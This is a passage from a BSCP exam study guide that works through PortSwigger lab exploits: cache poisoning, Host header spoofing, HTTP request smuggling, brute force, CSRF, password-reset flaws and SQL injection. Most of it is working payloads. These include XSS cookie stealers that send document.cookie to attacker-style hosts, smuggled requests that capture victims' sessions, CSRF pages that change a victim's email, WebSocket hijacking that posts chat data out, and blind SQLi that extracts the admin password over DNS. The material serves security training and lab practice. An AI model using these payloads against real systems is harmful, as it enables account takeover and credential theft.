and then update the poison request X-Forwarded-Host: EXPLOIT.net header.
Place the payload on exploit server body.

root@kitploit:~
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

Remove the cb=123 cache buster, and then poison the cache until the victim is redirected to the exploit server payload tracking.js to steal session cookie.

PortSwigger Lab: Web cache poisoning with multiple headers

Duplicate Parameter Fat Poison

Identify that the application is vulnerable to duplicate parameter poisoning, by adding a second parameter with same name and different value the response reflected the injected value.

countrycode source code

root@kitploit:~
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

The function that is called in the response by passing in a duplicate callback parameter is reflected. Notice in response the cache key is still derived from the original callback parameter in the GET request line.

fat-get-request

Not able to make cookie stealer payload working......

PortSwigger Lab: Web cache poisoning via a fat GET request


Host Headers

Spoof IP Address
HOST Connection State
Host Routing based SSRF
SSRF via flawed Host request parsing

Spoof IP Address

Identify that altered HOST headers are supported,
which allows you to spoof your IP address and bypass the IP-based brute-force protection
or redirection attacks to do password reset poisoning.

Include the below X- headers and change the username parameter on the password reset request to Carlos before sending the request.
In the BSCP exam if you used this exploit then it means you have not used a vulnerability that require user interaction and allow you to use an interaction vulnerability to gain access to stage 3 as admin by using exploit server Deliver exploit to victim function.

root@kitploit:~
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

Tips & Notes from fullfox:

  • When spoofing host header on password reset using Host: or X-Forwarded-Host:, if you receive the error Invalid hostname, try using the following hostname: xxx.oastify.com?TARGET.net legit target URL without a slash.

Check the exploit server log to obtain the reset link to the victim username.

Exploit Server Logs capture the forgot password reset token

PortSwigger Lab: Password reset poisoning via middle-ware

HOST Connection State

Target is vulnerable to routing-based SSRF via the Host header, but validate connection state of the first request. Sending grouped request in sequence using single connection and setting the connection header to keep-alive, bypass host header validation and enable SSRF exploit of local server.

root@kitploit:~
GET / HTTP/1.1
Host: TARGET.net
Cookie: session=ValueOfSessionCookie
Content-Length: 48
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive

Next request is the second tab in group sequence of requests.

root@kitploit:~
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

Observe that the second request has successfully accessed the admin panel.

single connection

PortSwigger Lab: Host validation bypass via connection state attack


HTTP Request Smuggling

Architecture with front-end and back-end server, and front-end or back-end does not support chunked encoding (HEX) or content-length (Decimal). Bypass security controls to retrieve the victim's request and use the victim user's cookies to access their account.

TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer

TE.CL dualchunk - Transfer-encoding obfuscated

If Duplicate header names are allowed, and the vulnerability is detected as dualchunk, then add an additional header with name and value = Transfer-encoding: cow. Use obfuscation techniques with second TE.

root@kitploit:~
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Transfer-encoding: identity
Transfer-encoding: cow

Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscation in some way.

On Repeater menu ensure that the "Update Content-Length" option is unchecked.

root@kitploit:~
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

GPost Obfuscating the TE header

Note: You need to include the trailing sequence \r\n\r\n following the final 0.

PortSwigger Lab: HTTP request smuggling, obfuscating the Transfer-Encoding (TE) header

Wonder how often this scenario occur that hacker is able to steal visiting user request via HTTP Sync vulnerability?

TE.CL multiCase - Admin blocked

When attempting to access /admin portal URL path, we get the filter message, Path /admin is blocked. The HTTP Request Smuggler scanner identify the vulnerability as TE.CL multiCase (delayed response). Note: because back-end server doesn't support chunked encoding, turn off Update Content-Length in Repeater menu.

After disable auto content length update, changing to HTTP/1.1, then send below request twice, adding the second header Content-Length: 15 prevent the HOST header conflicting with first request.
Note: need to include the trailing sequence \r\n\r\n following the final 0.

Manually fixing the length fields in request smuggling attacks, requires each chunk size in bytes expressed in HEXADECIMAL, and Content-Length specifies the length of the message body in bytes. Chunks are followed by a newline, then followed by the chunk contents. The message is terminated with a chunk of size ZERO.

root@kitploit:~
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Calculating TE.CL (Transfer-Encoding / Content-Length) smuggle request length in HEXADECIMAL and the payload is between the hex length of 71 and the terminating ZERO, not including the ZERO AND not the preceding \r\n on line above ZERO, as part of length. The initial POST request content-length is manually set.

te.cl.multicase-smuggle.png

When sending the /admin/delete?username=carlos to delete user, the transfer encoding hex length is changed from 71 to 88 hexadecimal value to include extra smuggled request size.

PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

CL.TE multiCase - Admin blocked

When attempting to access /admin portal URL path, we get the filter message, Path /admin is blocked. The HTTP Request Smuggler scanner identify the vulnerability as CL.TE multiCase (delayed response).

To access the admin panel, send below request twice, adding the second header Content-Length: 10 prevent the HOST header conflicting with first request.

root@kitploit:~
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

On the second time the request is send the admin portal is returned in response.

cl.te multicase admin blocked

PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

CL.TE multiCase - Content-Length

Large Content-Length to capture victim requests. Sending a POST request with smuggled request but the content length is longer than the real length and when victim browse their cookie session value is posted to blob comment. Increased the comment-post request's Content-Length to 798, then smuggle POST request to the back-end server.

root@kitploit:~
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

Exploiting HTTP request smuggling with content-length value

No new line at end of the smuggled POST request above^^.

View the blog post to see if there's a comment containing a user's request. Note that once the victim user browses the target website, then only will the attack be successful. Copy the user's Cookie header from the blog post comment, and use the cookie to access victim's account.

Exploiting HTTP request smuggling to capture other users' requests

PortSwigger Lab: Exploiting HTTP request smuggling to capture other users' requests

CL.TE multiCase - User-Agent Cookie Stealer

Identify the UserAgent value is stored in the GET request loading the blog comment form, and stored in User-Agent hidden value. Exploiting HTTP request smuggling to deliver reflected XSS using User-Agent value that is then placed in a smuggled request.

Basic Cross Site Scripting Payload escaping out of HTML document.

root@kitploit:~
 "/><script>alert(1)</script>

COOKIE STEALER Payload.

root@kitploit:~
a"/><script>document.location='http://OASTIFY.COM/?cookiestealer='+document.cookie;</script>

Smuggle this XSS request to the back-end server, so that it exploits the next visitor. Place the XSS cookie stealer in User-Agent header.

root@kitploit:~
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

HTTP request smuggling to deliver reflected XSS and steal victim cookie

Check the PortSwigger Collaborator Request received from victim browsing target.

Collaborator capture XSS Request from victim browsing target

PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS

HTTP/2 smuggling via CRLF injection

Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers. Exploitation is by use of an HTTP/2-exclusive request smuggling vector to steal a victims session cookie and gain access to user's account.

Identify possible vulnerability when Target reflect previous and recent search history based on cookie, by removing cookie it is noticed that your search history is reset, confirming that it's tied to your session cookie.

recent searches

Expand the Inspector's Request Attributes section and change the protocol to HTTP/2, then append arbitrary header foo with value bar, follow with the sequence \r\n, then followed by the Transfer-Encoding: chunked, by pressing shift+ENTER.

http2-inspector

Note: enable the Allow HTTP/2 ALPN override option and change the body of HTTP/2 request to below POST request.

root@kitploit:~
0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=HACKER-SESSION-COOKIE
Content-Length: 800

search=nutty

http2 smuggle via crlf inject

PortSwigger Lab: HTTP/2 request smuggling via CRLF injection

Youtube demo HTTP/2 request smuggling via CRLF injection

HTTP/2 TE desync v10a h2path

Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. Steal the session cookie, of the admin visiting the target. The Burp extension, HTTP Request Smuggler will identify the vulnerability as HTTP/2 TE desync v10a (H2.TE) vulnerability.

HTTP/2 TE desync v10a h2path

Note: Switch to HTTP/2 in the inspector request attributes and Enable the Allow HTTP/2 ALPN override option in repeat menu.

root@kitploit:~
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

Note: Paths in both POST and GET requests points to non-existent endpoints. This help to identify when not getting a 404 response, the response is from victim user captured request. Remember to terminate the smuggled request properly by including the sequence \r\n\r\n after the Host header.

302 Response once stolen admin cookie request captured

Copy stolen session cookie value into new http/2 GET request to the admin panel.

root@kitploit:~
GET /admin HTTP/2
Host: TARGET.web-security-academy.net
Cookie: session=VictimAdminSessionCookieValue
Cache-Control: max-age=0

admin-panel-access

PortSwigger Lab: Response queue poisoning via H2.TE request smuggling


Brute Force

Stay-Logged-in
Stay-logged-in Offline Crack
Brute Force Protected Login
Subtly Invalid Login

Stay-Logged-in

Login option with a stay-logged-in check-box result in Cookie value containing the password of the user logged in and is vulnerable to brute-forcing.

stay-logged-in

The exploit steps below plus the Intruder Payload processing rules in order and including the GREP option in sequence before starting the attack.

  1. Logout as current user.
  2. Send the most recent GET /my-account request to Burp Intruder.
  3. Select the cookie: stay-logged-in as injection position.
  4. Hash: MD5
  5. Add prefix: carlos:
  6. Encode: Base64-encode
  7. Add GREP under settings tab, to check for the string in the response Update email indicating successfully logged in attack.

brute

PortSwigger Lab: Brute-forcing a stay-logged-in cookie

Stay-logged-in Offline Crack

The blog application comment function is vulnerable to stored XSS, use the below payload in blog comment to send the session cookie of Carlos to the exploit server.

root@kitploit:~
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

Base64 decode the stay-logged-in cookie value and use an online MD5 hash crack station database.

stay-logged-in Offline

PortSwigger Lab: Offline password cracking

Brute Force Protected Login

Identified brute force protection on login when back-end enforce 30 minute ban, resulting in IP blocked after too many invalid login attempts. Testing X-Forwarded-For: header result in bypass of brute force protection. Observing the response time with long invalid password, mean we can use Pitchfork technique to identify first valid usernames with random long password and then rerun intruder with Pitchfork, set each payload position attack iterates through all sets simultaneously.

Burp Lab Username, Password and directory fuzzing Word lists

Payload position 1 on IP address for X-Forwarded-For: and position 2 on username with a long password to see the response time delay in attack columns window.

root@kitploit:~
X-Forwarded-For: 12.13.14.15

Intruder Pitchfork

Repeat above Pitchfork intruder attack on the password field and then identify valid password from the status column with 302 result.

PortSwigger Lab: Username enumeration via response timing

Subtly Invalid Login

Identify that the login page & password reset is not protected by brute force attack, and no IP block or time-out enforced for invalid username or password.

Tip for the BSCP Exam, there is sometimes another user with weak password that can be brute forced. Carlos is not always the account to target to give a foothold access in stage 1.

Subtly invalid login

Notice on the Intruder attack column for the GREP value, Invalid username or password. the one response message for a failed username attack do not contain full stop period at the end. Repeat the attack with this identified username, and Sniper attack the password field to identify 302 response for valid login.

Refresh Password

In the BSCP exam lookout for other messages returned that are different and disclose valid accounts on the application and allow the brute force identified of account passwords, such as example on the refresh password reset function.

Once valid username identified from different response message, the perform brute force using Burp Intruder on the password.

PortSwigger Lab: Username enumeration via subtly different responses

Another scenario to identify valid username on the WEB APP is to provide list of usernames on login and one invalid password value. In the Intruder attack results one response will contain message Incorrect password.
Intruder attack injection position, username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789.

PortSwigger Lab: Username enumeration via different responses


Authentication

Account Registration
Auth Token bypass Macro

Account Registration

Business logic flaw in the account registration feature allow for gaining foothold as target user role access. Content Discovery find the path /admin, message state the Admin interface is only available if logged in as a DontWannaCry user.

Register length flaw

Creating email with more that 200 character before the @ symbol is then truncated to 255 characters. This identify the vulnerability in the account registration page logic flaw. In the email below the m at the end of @dontwannacry.com is character 255 exactly.

root@kitploit:~
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Inconsistent-handling-exceptional-input

PortSwigger Lab: Inconsistent handling of exceptional input

Auth Token bypass Macro

If the authentication login is protected against brute force by using random token that is used on every login POST, a Burp Macro can be used to bypass protection.

Create Burp Macro

  1. Open Proxy settings and select sessions under Project choices.
  2. Scroll down to Macros, and add new macro.
  3. Select request from the list to use for the value to be used.
  4. click Configure item and add custom parameter location to extract.
  5. Click OK to return to Sessions under Project choices.
  6. Add a Session handling rule, and the editor dialogue opens.
  7. In the dialogue, go to the "Scope" tab.
  8. Under scope for the session handling rule editor, check Target, Intruder, and Repeater.
  9. Still under "URL Scope", select Include all URLs.
  10. Close Settings.

How To Create a Macro in Burp Suite Professional

PortSwigger Lab: Infinite money logic flaw - show how to create Burp Macro


Privilege Escalation

CSRF Account Takeover

OAuth
Referer Validation CSRF
Referer Header Present
LastSearchTerm
CSRF duplicated in cookie
CSRF Token Present
Is Logged In
CSRF No Defences
SameSite Strict bypass
SameSite Lax bypass

Cross-Site Request Forgery vulnerability allows an attacker to force users to perform actions that they did not intend to perform. This can enable attacker to change victim email address and use password reset to take over the account.

OAuth

oAuth linking exploit server hosting iframe, then deliver to victim, forcing user to update code linked.

csrf

Intercepted the GET /oauth-linking?code=[...]. send to repeat to save code. Drop the request. Important to ensure that the code is not used and, remains valid. Save on exploit server an iframe in which the src attribute points to the URL you just copied.

root@kitploit:~

PortSwigger Lab: Forced OAuth profile linking

Referer Validation CSRF

Identify the change email function is vulnerable to CSRF by observing when the Referer header value is changed the response give message, Invalid referer header, and the email change is accepted when the referrer value contains the expected target domain somewhere in the value.

identify csrf referer header check

Adding original domain of target and append history.pushState('', '', '/?TARGET.net'); to the Referer header in the form of a query string, allow the change email to update.

root@kitploit:~
Referrer-Policy: unsafe-url

Note: Unlike the normal Referer header spelling, the word "referrer" must be spelled correctly in the above head section of the exploit server.

Referer csrf

Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the history.pushState() function includes a query string with target URL.

root@kitploit:~
<html>
  <!-- CSRF PoC -  CSRF with broken Referer validation -->
  <body>
	<script>
		history.pushState('', '', '/?TARGET.net');
	</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

When above exploit payload is delivered to victim, the CSRF POC payload changes the victim email to [email protected], because the Referer header contained target in value. In BSCP exam take not of your hacker@exploit server email address to use in account takeover.

PortSwigger Lab: CSRF with broken Referer validation

Referer Header Present

In the update email request when changing the referer header the response indicate Invalid referer header, identifying CSRF vulnerability. Using the <meta name="referrer" content="no-referrer"> as part of the exploit server CSRF PoC this control can be bypassed. This instruct the exploit server to Deliver Exploit to victim without referer header.

root@kitploit:~
<html>
  <!-- CSRF PoC - CSRF where Referer validation depends on header being present -->
  <body>
<meta name="referrer" content="no-referrer">
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="administrator&#64;EXPLOIT&#46;NET" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

This is interactive exploit and in BSCP exam if the stage 1 exploit was non interactive then this can be used to obtain administrator interaction by her clicking on the link to change their password. Note to check the source code of the change email page for any additional form id values.

csrf referer present

PortSwigger Lab: CSRF where Referer validation depends on header being present

LastSearchTerm

Identify the CSRF vulnerability where token not tied to non-session cookie, by changing the csrfkey cookie and seeing the result that the request is rejected. Observe the LastSearchTerm cookie value containing the user supplied input from the search parameter.

identify-csrf-non-session-tied.png

Search function has no CSRF protection, create below payload that injects new line characters %0d%0a to set new cookie value in response, and use this to inject cookies into the victim user's browser.

root@kitploit:~
/?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

Generate CSRF POC, Enable the option to include an auto-submit script and click Regenerate. Remove the auto-submit script code block and add following instead, and place history.pushState script code below body header. The onerror of the IMG SRC tag will instead submit the CSRF POC.

root@kitploit:~
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

During BSCP Exam set the email change value to that of the exploit server [email protected] email address. Then you can change the administrator password with the reset function.

csrf set cookie poc

In the below CSRF PoC code, the hidden csrf value is the one generated by the change email function and the csrfkey value in the img src is the value of the victim, obtained by logging on as victim provided credentials. not sure in exam but real world this is test to be performed.

root@kitploit:~
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;0a18002e03379f0ccf16180f01180022&#46;exploit&#45;server&#46;net" />
      <input type="hidden" name="csrf" value="48hizVRa9oJ1slhOIPljozUAjqDMdplb" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=NvKm20fiUCAySRSHHSgH7hwonb21oVUZ;%20SameSite=None" onerror="document.forms[0].submit()">    
  </body>
</html>

PortSwigger Lab: CSRF where token is tied to non-session cookie

CSRF duplicated in cookie

In the target we identify that the CSRF key token is duplicated in the cookie value. Another indicator is the cookie LastSearchTerm contain the value searched. By giving search value that contain %0d%0a we can inject an end of line and new line characters to create new CSRF cookie and value.

set cookie csrf fake

In the exploit code img src tag we set cookie for csrf to fake.

root@kitploit:~
<html>
  <body>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ATTACKER&#64;EXPLOIT-SERVER&#46;NET" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrf=fake;%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

csrf duplicated cookie

PortSwigger Lab: CSRF where token is duplicated in cookie

CSRF Token Present

Changing the value of the csrf parameter result in change email request being rejected. Deleting the CSRF token allow the change email to be accepted, and this identify that the validation of token being present is vulnerable.

CSRF PoC Payload hosted on exploit server:

root@kitploit:~
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>

csrf present validation fail

PortSwigger Lab: CSRF where token validation depends on token being present

Is Logged In

If cookie with the isloggedin name is identified, then a refresh of admin password POST request could be exploited.
Change username parameter to administrator while logged in as low privilege user.
CSRF token is not tied to user session.

root@kitploit:~
POST /refreshpassword HTTP/1.1
Host: TARGET.net
Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d
Content-Length: 60
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://TARGET.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Referer: https://TARGET.net/refreshpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

csrf=TOKEN&username=administrator

CSRF privesc

CSRF No Defences

Target with no defences against email change function, can allow the privilege escalation to admin role. In the exam changing the email to the [email protected] email address on the exploit server can allow the attacker to change the password of the admin user, resulting in privilege escalation.
In the exam there is only one active user, and if the previous stage was completed using an attack that did not require the involving of the active user clicking on a link by performing poison cache or performing phishing attack by means of Deliver to Victim function, then CSRF change exploit can be used.

csrf-change-email.png

PortSwigger Lab: CSRF vulnerability with no defences

SameSite Strict bypass

In the live chat function, we notice the GET /chat HTTP/2 request do not use any unpredictable tokens, this can identify possible cross-site WebSocket hijacking (CSWSH) vulnerability if possible to bypass SameSite cookie restriction.

Host on exploit server POC payload to identify CSWSH vulnerability.

root@kitploit:~
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

The SameSite=Strict is set for session cookies and this prevent the browser from including these cookies in XSS cross-site requests. We Identify the header Access-Control-Allow-Origin in additional requests to script and images to a subdomain at cms-.
Browsing to this CDN subdomain at cms- and then identify that random user name input is reflected, confirmed this to be a reflected XSS vulnerability.

cms reflected xss samesite bypass

root@kitploit:~
https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass

Bypass the SameSite restrictions, by URL encode the entire script below and using it as the input to the CDN subdomain at cms- username login, hosted on exploit server.

root@kitploit:~
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Host the following on exploit server and deliver to victim, once the collaborator receive the victim chat history with their password, result in account takeover.

root@kitploit:~
<script>
    document.location = "https://cms-TARGET.net/login?username=ENCODED-POC-CSWSH-SCRIPT&password=Peanut2019";
</script>

The chat history contain password for the victim.

chat-history.png

PortSwigger Lab: SameSite Strict bypass via sibling domain

SameSite Lax bypass

Observe if you visit /social-login, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction., and in proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.

Bypass the popup blocker, to induce the victim to click on the page and only opens the popup once the victim has clicked, with the following JavaScript. The exploit JavaScript code first refreshes the victim's session by forcing their browser to visit /social-login, then submits the email change request after a short pause. Deliver the exploit to the victim.

root@kitploit:~
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

PortSwigger Lab: SameSite Lax bypass via cookie refresh


Password Reset

Refresh Password broken logic
Current Password
Time-Sensitive Password Tokenz

Refresh Password broken logic

If the application Refresh Password feature is flawed, this vulnerability can be exploited to identify valid accounts or obtain password reset token. This can lead to identifying valid users accounts or privilege escalation.

This is the type of vulnerability that do not require active user on application to interact with the exploit, and without any user clicking on link or interaction. Take note of vulnerabilities that do not require active user on application for the BSCP exam, as this mean in the next stage of the exam it is possible to use for example other interactive phishing links send to victim.

Identify in the source code for the /forgot-password page the username is a hidden field.

Password reset hidden username

Exploit the post request by deleting the temp-forgot-password-token parameter in both the URL and request body. Change the username parameter to carlos.

Temp-forgot-password-token

PortSwigger Lab: Password reset broken logic

Current Password

Identify the Change password do not need the current-password parameter to set a new password, and the user whom password will be changed is based on POST parameter username=administrator
In the PortSwigger labs they provide you the credentials for wiener:peter, and this simulate in the exam stage 1 achieved low level user access. In exam this password reset vulnerability is example of how it is possible without interaction from active user to privilege escalate your access to admin.

Intercept the /my-account/change-password request as the csrf token is single random use value, set username=administrator, and remove current-password parameter.

Change password without current

PortSwigger Lab: Weak isolation on dual-use endpoint

Time-Sensitive Password Tokenz

The target site uses time stamps to generate a hash password reset token URL.

By sending parallel force password reset requests for two different users at the same time,
will result in duplicate matching tokens because the same timestamp used by backend to generate the reset tokenz.

Our own user carlos receive the reset token url in their email and then edit the name in the url to match administrator target victim user.

portswigger_race_condition_force-forgot-password-tokenz.png

PortSwigger Lab: Exploiting time-sensitive vulnerabilities

Reference: API University and PortSwigger Labs study notes


SQL Injection

Blind Time Delay
Blind SQLi
Blind SQLi no indication
Blind SQLi Conditional Response
Oracle
SQLMAP
Non-Oracle Manual SQLi
Visual error-based SQLi
HackTheBox CPTS SQLi Fundamentals

Error based or Blind SQL injection vulnerabilities, allow SQL queries in an application to be used to extract data or login credentials from the database. SQLMAP is used to fast track the exploit and retrieve the sensitive information.

Identify SQLi, by adding a double (") or single quote (') to web parameters or tracking cookies, if this break the SQL syntax resulting in error message response, then positive SQL injection identified. If no error or conditional message observed test blind Time delays payloads.

SQL Injection cheat sheet examples

Identify the input parameter vulnerable to SQL injection

Blind Time Delay

Blind SQL injection with time delays is tricky to identify, fuzzing involves educated guessing as OffSec also taught me in OSCP. The below payload will perform conditional case to delay the response by 10 seconds if positive SQL injection identified.

Identify SQLi vulnerability. In Burp Practice exam Stage 2 the advance search filters are vulnerable to PostgreSQL. I found SQLMAP tricky to identify and exploit the practice exam vulnerability in advance search. Manual exploit of the SQL injection time delay in Practice Exam here.

root@kitploit:~
;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--

URL encoded PostgreSQL payload.

root@kitploit:~
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

Determine how many characters are in the password of the administrator user. To do this, increment the number after >1 conditional check.

root@kitploit:~
;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

blind-time-delay SQLi

Using CLUSTER Bomb attack to re-run the attack for each permutation of the character positions in the password, and to determine character value.

root@kitploit:~
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Using CLUSTER bomb attack type with two payload, first for the length of the password 1..20 and then second using characters a..z and numbers 0..9. Add the Response Received column to the intruder attack results to sort by and observe the 10 seconds or more delay as positive response.

blind CLUSTER bomb SQLi

PortSwigger Lab: Blind SQL injection with time delays and information retrieval

Practice Exam PostgreSQL TimeDelay

In the Burp Practice exam stage 2 the SQL injection is escaped not using single quote ' but using a semicolon ; and then URL encoding it as %3B.

root@kitploit:~
%3BSELECT+pg_sleep(7)--

practice exam stage-2 time delay sqli

With a Intruder CLUSTER bomb attack the password can be extracted in one single attack with two payload positions in the below payload.

root@kitploit:~
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

Stage 3 of the Burp Practice exam admin portal require exploitation of an insecure deserialization cookie value.

Blind SQLi

Target is vulnerable to Out of band data exfiltration using Blind SQL exploitation query. In this case the trackingID cookie. Below is combination of SQL injection and XXE payload to exploit the vulnerability and send administrator password as DNS request to the collaborator service.

root@kitploit:~
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

Blind SQL injection with out-of-band data exfil

PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration

The SQL payload above can also be used to extract the Administrator password for the this PortSwigger Lab: Blind SQL injection with conditional errors challenge.

Blind SQLi no indication

Placing a single quote at end of the trackingid cookie or search parameter /search_advanced?searchTerm=' may give response 500 Internal Server Error. Make an educated guess, by using below blind SQLi payload and combine with basic XXE technique, this then makes a call to collaboration server but no data is ex-filtrated.

root@kitploit:~
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

SQLi XXE

Additional SQLi payload with XML for reference with || the SQL concatenation operator to concatenate two expressions that evaluate two character data types or to numeric data type and do some obfuscating.

root@kitploit:~
